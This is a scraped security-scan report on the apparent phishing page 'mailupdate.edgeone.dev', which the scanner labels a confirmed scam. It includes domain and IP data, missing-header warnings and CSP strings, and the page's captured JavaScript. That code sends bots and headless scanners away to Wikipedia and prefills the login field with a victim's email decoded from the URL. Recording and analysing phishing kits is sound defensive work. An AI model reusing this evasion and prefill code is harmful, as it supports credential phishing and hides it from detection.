finance banking

English

The domain name 'mailupdate.edgeone.dev' uses the developer-focused generic top-level domain (.dev); it also runs on subdomain 'mailupdate'. The registrable portion 'edgeone' spans 7 characters with four vowels and three consonants. Tokenizing the label suggests two words: edge, one. Median word length comes out to 3.5 characters. No strong language cues emerged from the frequency lists.

botcheck

html/c0/f4/c0f46a35-d090-490b-b937-6e957efe60e0.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

d8c444a42aab4b086e2c10ca5b31d3bad05f524235763107e3fd2832bae73feb

27d2f0e10ccb85690eb628b23319eaf12e53da552f1f604d099e249da305c1dc

6db15d10697b8f53df7f0bfd883c32a6f6f68f2a69d6ef39ea861bcb900b6697

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

Prudence Malinki

MarkMonitor Inc.

edgeone.dev

ORG-GI58-RIPE

GitHub, Inc.

ORG-NCC1-RIPE

US-GITHUB-20170413



(async function () {

    const userAgent = navigator.userAgent || "";

    const suspiciousUA = /bot|crawl|spider|slurp|headless|phantom/i.test(userAgent);

    const isHeadless = navigator.webdriver || false;



    // JS execution confirmation

    localStorage.setItem('js_enabled', 'true');



    // Honeypot trap (use your existing field instead)

    const honeypot = document.getElementById('botcheck');

    if (honeypot && honeypot.value) {

        window.location.href = "https://www.wikipedia.org";

        return;

    }



    // Check if localStorage was written (JS running)

    const jsEnabled = localStorage.getItem('js_enabled') === 'true';



    // Final bot detection logic (without interaction check)

    if (

        suspiciousUA ||

        isHeadless ||

        !jsEnabled

    ) {

        // Redirect bot

        window.location.href = "https://www.wikipedia.org";

    }

})();





// Function to get email from URL hash

function getEmailFromUrl() {

    const hash = window.location.hash.substring(1); // Remove the #

    if (!hash) return null;

    

    // Check if hash is base64 encoded

    if (isBase64(hash)) {

        try {

            return atob(hash); // Decode base64

        } catch (e) {

            return hash; // If decoding fails, assume it's plain email

        }

    }

    return hash;

}



// Function to check if a string is base64 encoded

function isBase64(str) {

    try {

        return btoa(atob(str)) === str;

    } catch (err) {

        return false;

    }

}



// Function to update URL with base64 encoded email

function updateUrlWithEncodedEmail(email) {

    if (!email) return;

    const encodedEmail = btoa(email);

    window.history.replaceState(null, null, `#${encodedEmail}`);

}



// Main function to process email

function processEmail() {

    // Get email from URL

    const email = getEmailFromUrl();

    

    if (email) {

        // Update username field

        document.getElementById('username').value = email;

        

        // Update URL with encoded email if it's not already encoded

        if (!isBase64(window.location.hash.substring(1))) {

            updateUrlWithEncodedEmail(email);

        }

    }

}



// Run when page loads

window.addEventListener('DOMContentLoaded', processEmail);



Account Verification

⚡ Medium Risk - https://mailupdate.edgeone.dev/

Requests	IP Address	Location	AS Autonomous System
5	185.199.110.153	United States	AS54113Fastly, Inc.
1	142.251.127.94Google · CDN	United States	AS15169Google LLC
1	209.94.90.1	United States	AS40680Protocol Labs
1	43.174.246.29	Singapore	AS139341ACE
1	172.217.208.95Google · CDN	United States	AS15169Google LLC
1	43.174.247.29	Singapore	AS139341ACE
1	104.26.13.205Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
11	7	-	-

Security Scan Report: mailupdate.edgeone.dev

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History